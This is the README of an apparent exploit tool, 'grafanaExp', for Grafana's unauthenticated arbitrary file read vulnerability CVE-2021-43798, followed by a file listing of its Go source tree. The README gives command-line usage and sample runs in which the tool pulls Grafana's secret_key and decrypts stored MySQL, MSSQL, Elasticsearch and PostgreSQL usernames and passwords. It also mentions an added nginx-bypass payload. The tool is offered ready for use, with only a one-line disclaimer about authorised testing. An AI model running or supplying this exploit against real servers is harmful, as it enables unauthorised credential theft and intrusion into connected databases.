A exploit tool for Grafana Unauthorized arbitrary file reading vulnerability (CVE-2021-43798), it can burst plugins / extract secret_key / decrypt data_source info automatic.# grafanaExp
利用grafana CVE-2021-43798任意文件读漏洞，自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件，并输出`data_sourrce`信息。
## 使用方法
提供exp和decode功能。
```
➜ ./grafanaExp -h
NAME:
grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read.
USAGE:
grafanaExp [global options] command [command options] [arguments...]
AUTHOR:
A&D-Team
COMMANDS:
exp -u [url] -p [plugin] -c [config] -d [db] -k [key]
decode decode -f [dbfile] -k [key]
help, h Shows a list of commands or help for one command
GLOBAL OPTIONS:
--help, -h show help (default: false)
```
### Exp
自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件，并输出`data_souce`信息：
```
➜ ./grafanaExp exp -u http://localhost:3000/
2021/12/07 22:19:10 Target vulnerable has plugin [alertlist]
2021/12/07 22:19:10 Get secret_key [SW2YcwTIb9zpOOhoPsMm]
2021/12/07 22:19:10 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 22:19:10 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
2021/12/07 22:19:10 All Done, have nice day!
```
### Decode
当DB文件太大的时候，可先下载到本地，之后再本地解密：
```
➜ ./grafanaExp decode -f grafana.db -k SW2YcwTIb9zpOOhoPsMm
2021/12/07 23:00:20 type:[mysql] name:[MySQL_01] url:[test.mysql.io:3306] user:[root] password[rootpassword] database:[test_dbname] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[mssql] name:[Mssql_01] url:[test_sqlserver:1433] user:[admin] password[adminpassword] database:[db_sqlserver] basic_auth_user:[] basic_auth_password:[]
2021/12/07 23:00:20 type:[elasticsearch] name:[es_01] url:[http://localhost:9200] user:[] password[] database:[] basic_auth_user:[basic_user] basic_auth_password:[basic_pass]
2021/12/07 23:00:20 type:[postgres] name:[Postgre_01] url:[Postgre_01:5432] user:[pppp] password[sssswwwww] database:[postgredb] basic_auth_user:[] basic_auth_password:[]
```
## 更新
```
1、支持https （昨天没加因为 transport会有一些奇奇怪怪的问题
2、增加darwin的执行文件
3、增加绕过nginx的paylaod （裸改了一下net/http
```
## 申明
本程序应仅用于授权的安全测试与研究目的
[4.0K] /data/pocs/fd4f5547b4e402b0f56e8e3efbb079af52c1132a
├── [ 841] build.sh
├── [4.0K] cmd
│ └── [1.2K] grafanaExp.go
├── [1.2K] go.mod
├── [4.9K] go.sum
├── [4.0K] internal
│ ├── [3.5K] cliFlag.go
│ ├── [4.3K] exp.go
│ ├── [ 540] req.go
│ └── [ 757] vars.go
├── [4.0K] pkg
│ └── [4.0K] http
│ ├── [3.0K] alpn_test.go
│ ├── [4.0K] cgi
│ │ ├── [5.5K] child.go
│ │ ├── [5.5K] child_test.go
│ │ ├── [ 10K] host.go
│ │ ├── [ 15K] host_test.go
│ │ ├── [7.0K] integration_test.go
│ │ ├── [ 327] plan9_test.go
│ │ ├── [ 369] posix_test.go
│ │ └── [4.0K] testdata
│ │ └── [2.1K] test.cgi
│ ├── [ 33K] client.go
│ ├── [ 42K] clientserver_test.go
│ ├── [ 56K] client_test.go
│ ├── [1.6K] clone.go
│ ├── [ 11K] cookie.go
│ ├── [4.0K] cookiejar
│ │ ├── [ 426] dummy_publicsuffix_test.go
│ │ ├── [1.5K] example_test.go
│ │ ├── [ 13K] jar.go
│ │ ├── [ 33K] jar_test.go
│ │ ├── [3.5K] punycode.go
│ │ └── [4.6K] punycode_test.go
│ ├── [ 18K] cookie_test.go
│ ├── [3.4K] doc.go
│ ├── [2.0K] example_filesystem_test.go
│ ├── [ 560] example_handle_test.go
│ ├── [5.3K] example_test.go
│ ├── [7.4K] export_test.go
│ ├── [4.0K] fcgi
│ │ ├── [ 10K] child.go
│ │ ├── [5.7K] fcgi.go
│ │ └── [9.7K] fcgi_test.go
│ ├── [2.9K] filetransport.go
│ ├── [1.6K] filetransport_test.go
│ ├── [ 24K] fs.go
│ ├── [321K] h2_bundle.go
│ ├── [7.4K] header.go
│ ├── [5.6K] header_test.go
│ ├── [5.2K] http.go
│ ├── [4.4K] http_test.go
│ ├── [4.0K] httptrace
│ │ ├── [ 712] example_test.go
│ │ ├── [8.1K] trace.go
│ │ └── [1.8K] trace_test.go
│ ├── [4.0K] httputil
│ │ ├── [9.2K] dump.go
│ │ ├── [ 10K] dump_test.go
│ │ ├── [3.2K] example_test.go
│ │ ├── [1.6K] httputil.go
│ │ ├── [ 11K] persist.go
│ │ ├── [ 17K] reverseproxy.go
│ │ └── [ 40K] reverseproxy_test.go
│ ├── [4.0K] internal
│ │ ├── [6.5K] chunked.go
│ │ ├── [5.8K] chunked_test.go
│ │ └── [2.3K] testcert.go
│ ├── [ 900] jar.go
│ ├── [4.4K] main_test.go
│ ├── [ 517] method.go
│ ├── [1.9K] omithttp2.go
│ ├── [4.0K] pprof
│ │ ├── [ 13K] pprof.go
│ │ └── [7.7K] pprof_test.go
│ ├── [1.2K] proxy_test.go
│ ├── [2.4K] range_test.go
│ ├── [9.7K] readrequest_test.go
│ ├── [ 45K] request.go
│ ├── [ 33K] request_test.go
│ ├── [ 23K] requestwrite_test.go
│ ├── [ 11K] response.go
│ ├── [ 24K] response_test.go
│ ├── [6.9K] responsewrite_test.go
│ ├── [ 563] roundtrip.go
│ ├── [9.1K] roundtrip_js.go
│ ├── [106K] server.go
│ ├── [1.2K] server_test.go
│ ├── [170K] serve_test.go
│ ├── [8.0K] sniff.go
│ ├── [8.1K] sniff_test.go
│ ├── [ 13K] socks_bundle.go
│ ├── [7.3K] status.go
│ ├── [4.0K] testdata
│ │ ├── [ 11] file
│ │ ├── [ 22] index.html
│ │ └── [ 8] style.css
│ ├── [ 30K] transfer.go
│ ├── [8.7K] transfer_test.go
│ ├── [ 84K] transport.go
│ ├── [5.9K] transport_internal_test.go
│ ├── [162K] transport_test.go
│ └── [3.2K] triv.go
├── [2.9K] README_en.md
└── [3.0K] README.md
13 directories, 93 files